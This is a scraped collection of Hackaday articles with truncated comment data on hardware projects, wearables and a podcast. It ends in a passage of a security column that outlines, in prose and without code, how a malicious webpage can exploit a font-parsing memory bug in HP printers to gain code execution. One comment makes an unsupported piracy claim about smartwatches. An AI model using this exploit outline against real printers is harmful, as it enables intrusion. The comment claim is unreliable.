Of course, the possibilities aren’t limitless. A tool will be limited to a certain size and shape, and a 3D printer’s frame and construction will also play a part in what is feasible. For example, a cutting tool requires the machine to press the tool into the part being cut, but no such force is required to move an extruder when 3D printing. A machine’s capabilities may limit what is possible to do with a given tool. But the enthusiasm with which hackers have pursued things so far makes me suspect that there’s much more where all that came from.
Do Tools Besides Extruders Make Sense?
Maybe robust and open toolchanging won’t just be bringing multi-material printing to workbenches. Perhaps its real contribution will be the way it continues to enable the kind of enthusiastic experimentation hackers have displayed for modifying 3D printers, and lead to things we haven’t even seen yet. In the meantime, extruders seem to be enough to worry about.
What’s your experience with toolchanging? Are things like pens, lasers, and cutters on a 3D printer just gimmicks, or can they actually enhance and improve the job of creating useful plastic parts? We’re listening, so let us know what you think in the comments. | 35 | 15 | [
{
"comment_id": "6406626",
"author": "schobi",
"timestamp": "2021-12-13T18:22:50",
"content": "I would love to see extruder with a thick and thin nozzle. Fast print, but accurate surfaces.But this might be challenging for the slicer",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,854.952964 | ||
https://hackaday.com/2021/12/13/design-for-test-hack-chat/ | Design For Test Hack Chat | Dan Maloney | [
"Hackaday Columns"
] | [
"Hack Chat"
] | Join us on Wednesday, December 15 at noon Pacific for the
Design for Test Hack Chat
with
Duncan Lowder
!
If your project is at the breadboard phase, or even if you’ve moved to a PCB prototype, it’s pretty easy to know if it works. It either does what it’s supposed to do, or it doesn’t, and a few informal tests will probably tell you all you need to know. But once you scale up to production, the testing picture becomes quite different. How do you know you’re not shipping out a problem? And how do you make sure your testing process doesn’t become a bottleneck?
Answering questions like these can be difficult, which is why we’ve invited Duncan Lowder to come talk with us. He was a test lead at places like Glowforge and Sphero before founding
FixturFab
, where he’s working on ways to make hardware testing as easy as possible, no matter what scale you’re working at. We’ll learn all about how to make our designs easy to test right from the get-go and take the pain out of that bed of nails.
Our Hack Chats are live community events in the
Hackaday.io Hack Chat group messaging
. This week we’ll be sitting down on Wednesday, December 15 at 12:00 PM Pacific time. If time zones have you tied up, we have a
handy time zone converter
. | 3 | 3 | [
{
"comment_id": "6406698",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-13T23:04:32",
"content": "I hope listen in.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6406716",
"author": "Scikris",
"timestamp": "2021-12-14T00:48:0... | 1,760,372,855.044075 | ||
https://hackaday.com/2021/12/13/adding-wire-races-improves-3d-printed-bearings/ | Adding Wire Races Improves 3D-Printed Bearings | Dan Maloney | [
"Misc Hacks"
] | [
"3d printing",
"ball bearing",
"bearing",
"composite",
"lubricant",
"power transmission",
"ptfe",
"races",
"teflon",
"wire"
] | Like a lot of power transmission components, bearings have become far easier to source than they once were. It used to be hard to find exactly what you need, but now quality bearings are just a few clicks away. They’re not always cheap though, especially when you get to the larger sizes, so knowing
how to print your own bearings
can be a handy skill.
Of course, 3D-printed bearings aren’t going to work in every application, but [Eros Nicolau] has a plan for that. Rather than risk damage from frictional heating by running plastic or metal balls in a plastic race, he uses wire rings as wear surfaces. The first video below shows an early version of the bearing, where a pair of steel wire rings lines the 3D-printed inner and outer races. These worked OK, but suffered from occasional sticky spots and were a bit on the noisy side.
The second video shows version two, which uses the same wire-ring race arrangement but adds a printed ball cage to restrain the balls. This keeps things quieter and eliminates binding, making the bearing run smoother. [Eros] also added a bit of lube to the bearing, in the form of liquid PTFE, better known as Teflon. It certainly seemed to smooth things out. We’d imagine PTFE would be more compatible with most printed plastics than, say, petroleum-based greases, but we’d be keen to see how the bearings hold up in the long term.
Maybe you recall seeing big 3D-printed bearings around here before?
You’d be right
. And we’ve got you covered if you need to learn more about
how bearings work
— or
lubricants
, for that matter.
Thanks to [Nick Dunham] for the tip. | 38 | 6 | [
{
"comment_id": "6406586",
"author": "robomonkey",
"timestamp": "2021-12-13T16:18:59",
"content": "Wonder if he could use the wire rings and bearings to transport power or signal to the rotating layer.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6406609",... | 1,760,372,855.116641 | ||
https://hackaday.com/2021/12/12/atari-130xe-keyboard-now-goes-clack/ | Atari 130XE Keyboard Now Goes Clack | Kristina Panos | [
"Peripherals Hacks"
] | [
"atari",
"Atari 130XE",
"Kailh box pinks",
"keyboard",
"restomod"
] | Performing a resto-mod on a beloved piece of childhood technology can be quite a ride. In [Bertrand]’s case, it was the keyboard to their Atari 130XE. Although it has those cool double-shot keycaps, they’re hiding
a crappy membrane underneath that could really benefit from a mechanical upgrade
. Relax — the membrane part was broken.
[Bertrand] designed and printed some new stems for Kailh box pinks that can accept both of the two known variants instead of the standard Cherry MX receptacle. He also made a new PCB (natch) and a keyboard adapter to replace the membrane interface, and had a steel keyswitch plate custom cut. The so-called Atari 130MX mod can be used with an Atari 130XE computer, or as a regular keyboard for a PC if you solder in a Pico.
[Bertrand] says that this labor of love was meant to be reproduced and told us that
for some folks in the Atari community, it’s already on like Donkey Kong
. If you’re going to attempt this mod, know that filament printers won’t work well at all for these tiny and precise parts. [Bertrand] printed the stems on an Elegoo with a resolution of 1/20 mm (50 micrometers). On the bright side, old-new stock Atari keycaps are not that hard to find. Check it out after the break.
We love to see vintage keyboards get modern upgrades.
Did you see the nuclear missile silo keyboard/trackball combo?
When we read that it came from ebay, our wallet took itself to DEFCON 1. | 10 | 4 | [
{
"comment_id": "6406390",
"author": "heatgap",
"timestamp": "2021-12-12T21:25:54",
"content": "Well done friend. I’m a fan of the brown keys myself but its all user preference! Great job!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6406409",
"author": ... | 1,760,372,855.203331 | ||
https://hackaday.com/2021/12/12/a-nested-gear-clock/ | A Nested Gear Clock | Matthew Carlson | [
"clock hacks",
"cnc hacks"
] | [
"3d printed",
"clock",
"cnc",
"gears",
"lathe"
] | One of the most common projects we see here at Hackaday is a clock. It could just be that we as humans are fascinated by the concept of time or that making a piece of functional art appeals to our utilitarian sense. In that spirit, [Alexandre Chappel]
set out to make a large mechanical clock with complex gears
.
The initial design was made in Fusion360 over a week and then in a somewhat bold move, [Alexandre] started up the CNC and cut all the parts out of valchromat. The basic idea of the clock is that the numbers move on the clock, not the hands. So the clock should show 10:25 instead of moving hands to the 10 and the 5. Most of the clock is made of up stacked gear assemblies,
geneva drives
, and many bearings. A single stepper motor drives the whole clock, which [Alexandre] admits is a bit of a cheat since trying to add springs and an
escapement
would add complexity to an already complex clock. He did have to adjust and recut a few gears but most of the assembly came together nicely. Some 3d printed numbers dropped into the CNCed slots offers much-improved readability.
A few problems became apparent once the system was together. The numbers don’t quite line up perfectly, which is unfortunate. He mentioned that tighter tolerances on the gears would likely help there. A fatal design flaw on the smallest disk became apparent as it needs to turn a sixth of the circle whereas the outer circle is just turning a tenth of the circle. Mechanical advantage isn’t in [Alexandre’s] favor and the stepper skips some steps and it slowly makes its way towards the next second digit of the hour.
If you’re looking for more beautiful artistic clocks, why not check out this
circuit sculpture one
? | 11 | 6 | [
{
"comment_id": "6406310",
"author": "Gravis",
"timestamp": "2021-12-12T15:24:12",
"content": "Very cool…. but I wouldn’t want to have to repair that monster when it fails.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6406330",
"author": "vib",
"time... | 1,760,372,855.162413 | ||
https://hackaday.com/2021/12/12/customize-these-3d-printed-cases/ | Customize These 3D Printed Cases | Al Williams | [
"3d Printer hacks"
] | [
"3d printing",
"enclosures"
] | Building something, of course, requires your electronics skills. But packaging it is often an exercise in mechanics. You can buy off the shelf, of course, but sometimes it is hard to find just the right enclosure. You probably have a 3D printer, too, but sometimes 3D printing an entire case can be time consuming and isn’t always completely attractive. Enter
[Johannes-Bosch] and Fusion 360
. These 3D printed frames assemble into boxes and are easy to customize. The panels are aluminum, although we imagine you could substitute wood, acrylic, or even a 3D printed sheet of plastic, if you wanted to.
The video below shows some examples. If your German isn’t up to snuff, ask YouTube to automatically translate the subtitles and you’ll get the idea.
The design has multiple parameters so you can set not just the basic dimensions but other settings that customize how the box assembles including the thickness of the panels and a holder for a circuit board.
Everything is symmetrical, so you print two top and two bottom parts. All four parts go together with the panels. Oh, and don’t forget to put what you want inside, too.
If you use Fusion 360, or you’d like to, this is worth checking out. If you are more interested in OpenSCAD, we saw
a similar library
for that. If you want some other ideas on enclosures,
we have some ideas
. | 27 | 4 | [
{
"comment_id": "6406286",
"author": "Winston",
"timestamp": "2021-12-12T13:26:53",
"content": "Do the same in FREE OpenSCAD and I’ll be interested.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6406288",
"author": "Al Williams",
"timestamp"... | 1,760,372,856.145612 | ||
https://hackaday.com/2021/12/12/wearables-can-detect-the-flu-well-maybe/ | Wearables Can Detect The Flu? Well…Maybe… | Orlando Hoilett | [
"Medical Hacks",
"Wearable Hacks"
] | [
"Big Ideas Lab",
"cold",
"COVID",
"Covid-19",
"E4",
"Empatica",
"influenza",
"machine learning",
"rhinovirus"
] | Surprisingly there are no pre-symptomatic screening methods for the common cold or the flu, allowing these viruses to spread unbeknownst to the infected. However, if we could detect when infected people will get sick even before they were showing symptoms, we could do a lot more to contain the flu or common cold and possibly save lives. Well, that’s what this group of researchers in this
highly collaborative study set out to accomplish
using data from wearable devices.
Participants of the study were given an E4 wristband, a research-grade wearable that measures heart rate, skin temperature, electrodermal activity, and movement. They then wore the E4 before and after inoculation of either influenza or rhinovirus. The researchers used 25 binary, random forest classification models to predict whether or not participants were infected based on the physiological data reported by the E4 sensor. Their results are pretty lengthy, so I’ll only highlight a few major discussion points. In one particular analysis, they found that at 36 hours after inoculation their model had an accuracy of 89% with a 100% sensitivity and a 67% specificity. Those aren’t exactly world-shaking numbers, but something the researchers thought was pretty promising nonetheless.
One major consideration for the accuracy of their model is the quality of the data reported by the wearable. Namely, if the data reported by the wearable isn’t reliable itself, no model derived from such data can be trustworthy either.
We’ve discussed those points here at Hackaday before
. Another major consideration is the lack of a control group. You definitely need to know if the model is simply tagging everyone as “infected” (which specificity does give us an idea of, to be fair) and a control group of participants who have not been inoculated with either virus would be one possible way to answer that question. Fortunately, the researchers admit this limitation of their work and we hope they will remedy this in future studies.
Studies like this are becoming increasingly common
and the ongoing pandemic has motivated these physiological monitoring studies even further. It seems like wearables are here to stay as the academic research involving these devices seems to intensify each day. We’d love to see what kind of data could be obtained by a community-developed device, as
we’ve seen some pretty impressive DIY biosensor projects over the years
. | 15 | 5 | [
{
"comment_id": "6406324",
"author": "Helen Blakemore",
"timestamp": "2021-12-12T16:38:25",
"content": "Intellectual Property fraud, all smartwatches contain pirated sensor software owned by brand Smart Watch. Many brands passing off selling thousands of counterfeits online and highstreet shops.",
... | 1,760,372,855.300387 | ||
https://hackaday.com/2021/12/11/a-diy-biometric-device-with-some-security-considerations/ | A DIY Biometric Device With Some Security Considerations | Orlando Hoilett | [
"Medical Hacks",
"Wearable Hacks"
] | [
"Amtel",
"ATECC608A",
"ATmega4808",
"ATWINC1510",
"AVR",
"AWS",
"dev board",
"IoT",
"microchip",
"security",
"wifi"
] | Biohacking projects are not new to Hackaday and it’s certainly a genre that really piques our interest. Our latest biohacking device comes courtesy of [Manivannan] who brings his flavor of a
wearable biosensor with some security elements built-in through AWS
.
The hardware is composed of some impressive components we have seen. He has an
AD8232
electrocardiogram front end, the
MAX30102
integrated pulse oximeter IC for determining blood oxygen and heart rate, and the ever-popular
LM35
for measuring body temperature. Either of these chips would be perfect for your next DIY biosensor project
though you might try the MAX30205 body temperature sensor given its 0.1-degree Celsius accuracy
. However, what really piqued our interest was the use of Microchip’s AVR-IoT WA Development Board.
Now we’ve talked about this board before
and also mentioned you could probably do all the same things with an ESP-device, but perhaps now we get to see the board a bit more in action.
[Manivannan] walks the reader through the board’s setup and everything looks to be pretty straightforward. He ultimately rigged together a very primitive dashboard for viewing all his vitals in real-time, demonstrating how you could put together your own patient dashboard for remote monitoring of vitals or other sensor signals. He emphasizes that all this is powered through AWS, giving him some added security layers that are critical for protecting his data from unwanted viewers.
Though [Manivannan’s] security implementation doesn’t rise to the standard of medical devices, maybe it will serve as a case study in the
growing open-source medical device movement
. | 8 | 4 | [
{
"comment_id": "6406190",
"author": "O",
"timestamp": "2021-12-12T03:11:29",
"content": "How is piping health data through AWS going to ADD security?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6406207",
"author": "__f",
"timestamp": "202... | 1,760,372,855.388596 | ||
https://hackaday.com/2021/12/11/we-all-live-in-a-pvc-submarine/ | We All Live In A PVC Submarine | Al Williams | [
"Transportation Hacks"
] | [
"PVC",
"rov",
"submarine",
"submersible"
] | We doubt you could really live in [Pena’s]
PVC submarine
, but now the song’s stuck in our head anyway. Although the post is in Portuguese, you can get a pretty good idea of how it works, and translation software is better than ever. Transcending the language barrier, there are videos of just about every step of the construction. We didn’t, however, find a video of the vehicle in the water.
The plumber’s delight has modified motors for thrusters, and a camera as well. Epoxy potting keeps things waterproof. We’ve seen candle wax used for the same purpose in other builds.
Our Portuguese may be wanting, but we couldn’t figure out how the sub worked with ballast or any other scheme to change its buoyancy dynamically. There was talk of using PVC tubes that hold air and trimming them to get neutral buoyancy, but there seemed to be no way to change it on the fly, so to speak. Perhaps someone with better language skills can help us out in the comments. We did note that the tether cables had an interesting buoyancy measure: pool floats cut open to make floating conduits. Not a bad idea.
We’ve seen
PVC subs
before and they can be surprisingly inexpensive. We’ve also used
baking powder for buoyancy
. | 11 | 5 | [
{
"comment_id": "6406170",
"author": "Tiago Daitx",
"timestamp": "2021-12-12T01:13:58",
"content": "This sub only goes to a depth of 10 meters and does not seem to rely on buoyancy controls of any sort. It uses a central motor (vertically aligned) to control the depth. The two long rods on the top s... | 1,760,372,855.529321 | ||
https://hackaday.com/2021/12/11/vacuum-forming-with-3d-printer-filament/ | Vacuum Forming With 3D Printer Filament | Tom Nardi | [
"3d Printer hacks",
"classic hacks"
] | [
"3d printer filament",
"conformal",
"mesh",
"vacuum forming"
] | Even if they don’t have one themselves, we’d wager the average Hackaday reader is at least vaguely aware of how a vacuum former works on a fundamental level. You heat up a plastic sheet until it’s soft, then use a vacuum pump to pull the ductile material down onto an object and hold it there while it cools off. It’s easy to build a vacuum forming rig yourself, but small commercial units are cheap enough that it might not be worth your time. If everything goes to plan, the technique is a quick and effective way of duplicating items around the home and shop.
But we were recently tipped off to a variation of this classic technique that’s certainly worth further research. As demonstrated in a recent video,
[Nathan Martinez] shows how 3D printed sheets can be used in place of the 5″ x 5″ squares of thermoplastic film
that his imported vacuum former was designed to use. It’s easy enough to do: just model up a square with the appropriate 2D dimensions in your CAD package of choice, and extrude it to a height of about .5 mm.
A printed mesh pattern could be used to form custom shaped filters or strainers.
So what’s the advantage? Well for one thing, it’s cheaper. Though admittedly, not by much. Going rate on Amazon seems to be about 90 cents per sheet for the real stuff, and some back of the envelope math shows the printed version coming in at around 30 cents given nominal filament costs. Whether or not those savings are worth the extra effort is certainly debatable.
But that’s not really the most interesting part. With printed sheets loaded into the vacuum former, you’ve got access to a much wider array of materials to work with. For example, [Nathan] shows off some very interesting flexible pieces he was able to produce using sheets of TPU. You can also experiment with different surface textures. These can not only be used to give your vacuum formed pieces a bit of interesting visual flair, but could actually have some practical applications. In the video we see how a printed mesh could be formed over a piece to create a conformal air vent or filter.
To be sure, there’s some room for improvement here. Not all the pulls were successes, and [Nathan] says getting the printed sheets up to the proper temperature can be tricky. But when it works, it works quite well, and we think there could be some untapped potential in this unexpected melding of new and
old methods of at-home plastic production
.
[Thanks to Japanfan50 for the tip.] | 17 | 11 | [
{
"comment_id": "6406144",
"author": "iuihuih",
"timestamp": "2021-12-11T22:21:27",
"content": "vacuuming a sheet with large holes in it is probably not the best",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6406251",
"author": "Bart",
"time... | 1,760,372,855.59249 | ||
https://hackaday.com/2021/12/10/lasers-make-pcbs-the-old-fashioned-way/ | Lasers Make PCBs The Old Fashioned Way | Al Williams | [
"Laser Hacks"
] | [
"laser",
"pcb",
"photoresist",
"Printed Circuit Board"
] | There are many ways to create printed circuit boards, but one of the more traditional ways involves using boards coated with photoresist and exposing the desired artwork on the board, usually with UV light. Then you develop the board like a photograph and etch it in acid. Where the photoresist stays, you’ll wind up with copper traces. Hackers have used lots of methods to get that artwork ranging from pen plotters to laser printers, but commercially a machine called a photoplotter created the artwork using a light and a piece of film. [JGJMatt] sort of rediscovered this idea by realizing that a cheap laser engraver could
directly draw on the photoresist
.
The laser dot is about 0.2 mm in diameter, so fine resolution boards are possible. If you have a laser cutter or engraver already, you have just about everything you need. If not, the lower-power laser modules are very affordable and you can mount one on a 3D printer. Most people are interested in using these to cut where higher power is a must, but for exposing photosensitive film, you don’t need much power. The 500 mW module used in the project costs about fifty bucks.
Of course, once you draw on the board with the laser, the rest of the process is like it always has been. Develop the board, etch, and all that. We wish the laser could drill the holes as that’s the part we hate the worst!
We’ve seen powerful lasers
just cut boards
, of course. You can also
forego the photoresist
and just let the laser burn off a coating of paint. | 46 | 18 | [
{
"comment_id": "6405854",
"author": "vib",
"timestamp": "2021-12-10T21:03:10",
"content": "good luck doing a double sided board that way … alignment won´t be easy",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6405858",
"author": "aaroncnc",
... | 1,760,372,855.730002 | ||
https://hackaday.com/2021/12/10/an-nfc-antenna-ring-with-a-chip-as-its-jewel/ | An NFC Antenna Ring With A Chip As Its Jewel | Jenny List | [
"Radio Hacks",
"Wearable Hacks"
] | [
"antenna",
"contactless",
"NFC"
] | Contactless payment by means of NFC-enabled bank cards has made our everyday transactions far more convenient over the last decade, but there still remains the tedious task of finding the card and waving it over the reader. Maybe embedded chips are a step too far for many of us, but how about a bank card in a wearable such as a ring? [Jonathan Limén] shows us how,
by taking the NFC chip module from a bank card and mounting it on a ring with a wire coil antenna embedded within it
.
The chip in a bank card comes mounted on a small thin PCB with contacts on one side and a coil on the other that serves as its antenna. It’s not sensitive enough to work reliably with most card readers, so the card incorporates a separate printed circuit layer that forms a large-sized tuned circuit which couples to the chip antenna. After taking us through the removal of the chip from the card with some acetone, he proceeds to create a replacement for the card antenna by winding a wire coil round the ring. This becomes a trial-and-error process, but in the end, the result is a working NFC payment ring.
We quite like this idea, but would be tempted to both take away some of the trial and error with a vector network analyzer, and run a couple of turns of the wire as a closer coupling coil for the chip.
This is a subject we’ve looked at before here at Hackaday
, and we wouldn’t mind having another go at it. | 12 | 5 | [
{
"comment_id": "6405845",
"author": "hartl",
"timestamp": "2021-12-10T20:21:52",
"content": "Depending on where you live, this might backfire. Here in Austria, NFC-enabled debit cards want to be “contacted” every now and then, else they will refuse further contactless transactions. That’s for secur... | 1,760,372,855.652302 | ||
https://hackaday.com/2021/12/10/today-is-my-last-day-at-hackaday-thanks-for-all-the-hacks/ | Today Is My Last Day At Hackaday; Thanks For All The Hacks! | Mike Szczys | [
"Featured",
"Slider"
] | [
"don't be a stranger bud!",
"hackaday",
"szczys"
] | I have decided to make a career move and have accepted a position as Developer Relations Engineer at
Golioth.io
. I’m happy to announce that Elliot Williams will be the next Editor in Chief of Hackaday.
Right now I’m in my 13th year at Hackaday, having started in the summer of 2009. But like all of the Hackaday writing crew, I began as a loyal reader of the site. I remember hearing about Hackaday when Kevin Rose mentioned in on an episode of the old CNET TV program
The Screensavers
early in 2005. Having already been building robots and just starting on 8-bit AVR microcontrollers, Hackaday was exactly the source of new and interesting projects I was looking for.
Remember when all Hackaday photos looked like this? This one is actually
the first time I had a project featured on the site
!
An enormous amount has changed since then. When I started as a writer we had just stopped using black and white photos. A few articles later, we removed the CSS that forced all articles to be lowercase. When I became head editor in 2013 we stopped calling it Hack a Day in favor of Hackaday, and about a year later we overhauled the site, moving from green-on-black to yellow-on black and expanding the 470 pixel content width to 800. Progress.
What hasn’t changed is how we stay fresh. Hackaday has always trusted our writers to guide us by following their own interests. The people who write for Hackaday have far better things to do, but they use their writing as a creative outlet to focus on leveling up their skills, to discover new uses of available technology, and to share that energy with the greater Hackaday community. They live all over the world and work in many different fields. These experiences come together in there collective writings. I’m lucky to have this great group of writers, and so are you. When their time has ended, the hope is that a new group of readers will step up to the plate and make sure the good times never end.
Something Special at Hackaday
Hackaday is a truly independent voice and the trust our readers have in us is our most valuable asset. Over the years, I’ve seen one site after another fall to the blight that is the advertorial or “sponsored content” — when some company pays to have their message published on an otherwise trusted site. Hackaday has never had to do this. Editorial independence is a luxury we have thanks to the strong backing of our parent company Supplyframe which believes that the Hackaday community is worth it. Of course, you wouldn’t have it any other way.
Supplyframe bought Hackaday in July of 2013 and invested heavily in the future of the organization. They created Hackaday.io to provide a place for project hosting, and the next spring we launched the Hackaday Prize. We hosted our first conference that November 2014 in Munich to announce the grand prize winner. This was the predecessor to the Hackaday Superconference which began in 2015 and has grown to be widely recognized as the finest hardware conference out there.
Art by Joe Kim for the Hackaday Circuit Sculpture contest
Art by Joe Kim on a Maya Posch article about GNU Debugger:
https://hackaday.com/2020/11/06/local-and-remote-debugging-with-gdb/
Art by Joe Kim on a Kristina Panos article about the Antikythera Mechanism:
https://hackaday.com/2015/11/23/the-antikythera-mechanism/
Art by Joe Kim on Steven Dufresne article about Robot Operating System:
https://hackaday.com/2018/05/31/modular-robotics-made-easier-with-ros/
Art by Joe Kim on a Brian Benchoff article about variable instruction computing:
https://hackaday.com/2016/02/19/variable-instruction-computing-what-is-old-is-new-again/
Art by Joe Kim on a Brian Benchoff article about Tesla vs. Edison:
https://hackaday.com/2017/01/25/tesla-vs-edison/
During this time, Hackaday started writing long-form articles on a range of topics; deep dives into historical figures, primers for picking up new skills, interest pieces on the world around us, and explainers on the science behind equipment and materials we all use when building projects. Joe Kim came on as Hackaday’s art director and grew up a visual presence around these longer articles that is uniquely
Hackaday
. And the writers and editors stepped up beyond the shorter project features to meet this challenge.
I love it at Hackaday. I’m sad to leave.
Why Leave Such a Good Thing?
So why would I ever leave the good thing I have going for me? Well, I’ve always wondered if I could write firmware professionally. While that’s not exactly where I’m going, it is a step in that direction.
Over the summer, my good friend Chris Gammell mentioned he was contracting for a startup that is building cloud services for firmware engineers around the Zephyr open source RTOS. I decided to give it a try, as I have a number of microcontroller IoT platforms over the years. I love the idea of being hardware agnostic, and I’ve long been a proponent of signed binaries and over-the-air updates. The cloud side has web control and a REST API as you’d expect, but I was happy to see it also has terminal-based control for those of us who like easy scripting.
This fall Chris let me know he was considering going full time in Developer Relations and was looking for a counterpart who knew how to write firmware. The job is to get to know every part of the platform, to work on the documentation, to build hardware demos in tandem with Chris and write content around those, and to get to know the people using the platform and support them with any help they need. So, play with embedded systems, write about them, and geek out about it with other people! It’s a chance to leverage the things I’ve been good at here at Hackaday, plus to get some firmware work on my resume. The stars have aligned and I feel like I have to make the leap.
Hackaday’s Bright Future
Elliot Williams and Mike Szczys a few days after the 2016 Hackaday Belgrade conference
It’s been amazing to be here for this, and that’s why many of the writing crew — especially the staff writers and editors — have been a part of Hackaday for so many years now. Yes, I’m stepping away, but as the new Editor in Chief, Elliot Williams is building on his more than seven years of experience with Hackaday.
Tom Nardi is taking over as Managing Editor, and Kristina Panos will become Assignments Editor. Jenny List and Adam Fabio are long-time members of the editing staff. These editors are all backed up by more than thirty other writers who have kept our publishing schedule full around the clock, day in and day out, year upon year.
While today I’m saying goodbye to editing and writing, I’m not saying goodbye to Hackaday. You can bet that I’ll continue reading and sending in those tips.
Thank you to everyone who has sent us a link to a project to show off on our front page. Thank you for all those constructive and insightful comments that add depth to the articles we published. Thank you to everyone I have met, not through a screen, but out in the real world — those instant friendships are forever cherished. And thank you to everyone who values passing down knowledge and helping others level up.
Long live Hackaday! | 119 | 50 | [
{
"comment_id": "6405795",
"author": "Jenny List",
"timestamp": "2021-12-10T18:05:45",
"content": "Thanks Mike, it has been great working with you.Best of luck in the new endeavour, and don’t be a stranger!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "640579... | 1,760,372,856.045203 | ||
https://hackaday.com/2021/12/10/hackaday-podcast-148-pokemon-trades-anniversary-ipod-prototype-stupid-satellite-tricks-and-led-strip-sensors/ | Hackaday Podcast 148: Pokemon Trades, Anniversary IPod Prototype, Stupid Satellite Tricks, And LED Strip Sensors | Mike Szczys | [
"Hackaday Columns",
"Podcasts",
"Slider"
] | [
"Hackaday Podcast"
] | Hackaday editors Elliot Williams and Mike Szczys get caught up on the week that was. People go to great lengths for video game saves, but this Pokemon hack that does hardware-based trade conversion between the Game Boy’s Pokemon 2 and Pokemon 3 is something else. Why do we still use batteries when super capacitors exist? They’re different components, silly, and work best at different things. Turns out you can study the atmosphere by sending radio waves through it, and that’s exactly what the ESA is doing… around Mars! And will machined parts become as easy to custom order as PCBs have become? This week we take a closer look at prototyping as a service.
Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
Direct download
(55 MB)
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
YouTube
Check
out our Libsyn landing page
Episode 148 Show Notes:
What’s that Sound?
That sound was mobs from Minecraft
[Jort] was randomly drawn from 23 correct responses and wins the shirt!
Hash any file to create a “random” number
Try it with the
Podcast Logo
!
New This Week:
Remembering Sanjay Mortimer, Pioneer And Visionary In 3D Printing
Interesting Hacks of the Week:
Cracking The Spotify Code
Intelligent Mail® Barcode (IMb) 4-State Specification
IPod, Therefore I Am: Looking Back At An Original IPod Prototype
SuperCapacitors Vs Batteries Again
BAMF: Hard Drive Platter Launcher Among All-Time Favorites
Two capacitor paradox – Wikipedia
Two Wire Sensors On LED Strips
Bridging Game Worlds With The ‘Impossible’ Pokémon Trade
Pokemon Time Capsule
Two Mars Orbiters Chatted For Atmospheric Science
Quick Hacks:
Elliot’s Picks
Assistive Tech And Video Games
My Major Is Gaming…
Get Down To Some African Tunes With This HomeBrew Synth
Mike’s Picks:
Secret Ingredient For 3D-Printed Circuit Traces: Electroplating
Touchscreen-Powered USB Hub Selectively Powers Down Devices
The Safest Model Roller Coaster
Can’t-Miss Articles:
Spacing Out: Telescopes, Politics, And Spacecraft Design
Made To Spec: The Coming Age Of Prototyping As A Service | 2 | 2 | [
{
"comment_id": "6406653",
"author": "Adrian",
"timestamp": "2021-12-13T20:05:53",
"content": "Re using the Pokemon transfer skills to interface mainframes with modern web tech: there’s software for that. Back in the early 2000’s most of the online banking and airline sites ran on screen scraping ha... | 1,760,372,856.086796 | ||
https://hackaday.com/2021/12/10/diy-analog-synth-looks-like-fun/ | DIY Analog Synth Looks Like Fun | Rich Hawkes | [
"Musical Hacks"
] | [
"analog synth",
"cem3340",
"diy analog synth"
] | The relative ease of building the individual components that make up an analog synth make it very tempting to DIY your own. That’s what [Albert Nyström] did and the result is this
great looking, and great sounding, analog synth
.
The VCOs in his monosynth are based around the AS3340 VCO chip, which is a clone of the
Curtis Electromusic Specialties
‘ CEM3340 chip (used in machines such as the Oberheim OB-Xa, the Roland Jupiter-6, and the Sequential Circuits Prophet-5 among others.) The voltage controlled filters are based on Moritz Klein’s VACTROL based VCF circuits, and the envelopes based on Thomas Henry’s 555 envelope circuits (Google searches will dig those up pretty quickly, as well as schematics for builds using the CEM chip.) Finally, the keyboard is a donor from an Arturia Keystep. While there are no step-by-step build instructions, or a schematic, we do have some info about the instrument. As you can see from some of the gut shots, it should be fairly easy to figure how [Albert] has put everything together. Or not.
Even if the internals are a bit wild, the end result is a great looking monophonic synth that does pretty much everything you’d need. If you feel the itch to wire a bunch of components together and make one yourself, there are
messier ways
to go about it. Or maybe you’d prefer to go the
digital route
? Either way, synths are a ton of fun to build and to play. | 11 | 9 | [
{
"comment_id": "6405789",
"author": "Michael Black",
"timestamp": "2021-12-10T17:02:09",
"content": "I never built a synthesizer, but spent a lot of time decades ago trying all kinds of circuits. Not only did I learn new electronic things, but learned how instruments made their sounds.A modular sy... | 1,760,372,857.907064 | ||
https://hackaday.com/2021/12/10/this-week-in-security-printing-shellz-ms-officecmd-and-ai-security/ | This Week In Security: Printing Shellz, Ms-officecmd, And AI Security | Jonathan Bennett | [
"Hackaday Columns",
"Security Hacks",
"Slider"
] | [
"air-gapped",
"NPM",
"Printing Shellz",
"This Week in Security",
"uri"
] | Researchers at f-secure have developed an impressive new attack, leveraging HP printers as an unexpected attack surface.
Printing Shellz
(
PDF
) is a one-click attack, where simply visiting a malicious webpage is enough to get a shell and reverse proxy installed to a printer on the same network. The demo below uses a cross-site printing (XSP) attack to send the malicious print job to the printer without any further interactions.
The vulnerability used to get a foot in the door is in how Type 2 fonts are parsed. The charstrings used in these font descriptors are essentially little tiny programs of their own, that run on the printer to define each symbol in the font. It should come as no surprise that the interpreters for these little programs, being obscure and easily forgotten, are full of sketchy code and vulnerabilities. The HP printer they are tackling is no exception, and here the
load
operator is the culprit. This command has been officially removed from the Type 2 specification, likely due to the security challenge it represents, but older parsers may still have support for it.
Load
is little more than a
memcpy()
, and since the parser doesn’t properly validate the arguments, this allows for arbitrary memory overwrites. The researchers chose to overwrite a function pointer of another function, giving them the ability to jump to any code gadget they could find. Through judicious use of the
longjmp()
function, they could construct a fake stack, and jump directly to it, resulting in arbitrary code execution.
There’s quite a long section about how they reverse engineered the printer’s firmware update file format, to determine which models were still vulnerable to the attack. It turned out to be an unnecessary distraction, as an extraction tool was already available. Let this be a lesson to us all, use a search engine before spending hours doing work someone else may have already done and published. The conclusion of their research was that 38 different HP printers were vulnerable to the attack. Updates are available, and the circumstances of this vulnerability makes exploitation more likely. First, the write-up here is quite good, and one would expect the exploit to be recreated easily enough by interested parties. Second, updating printer firmware is often quite a chore, so it’s likely that unpatched device will be ubiquitous for years to come.
ms-officecmd
Remote code execution exploits are sometimes extremely difficult, and then there’s instances like
ms-officecmd
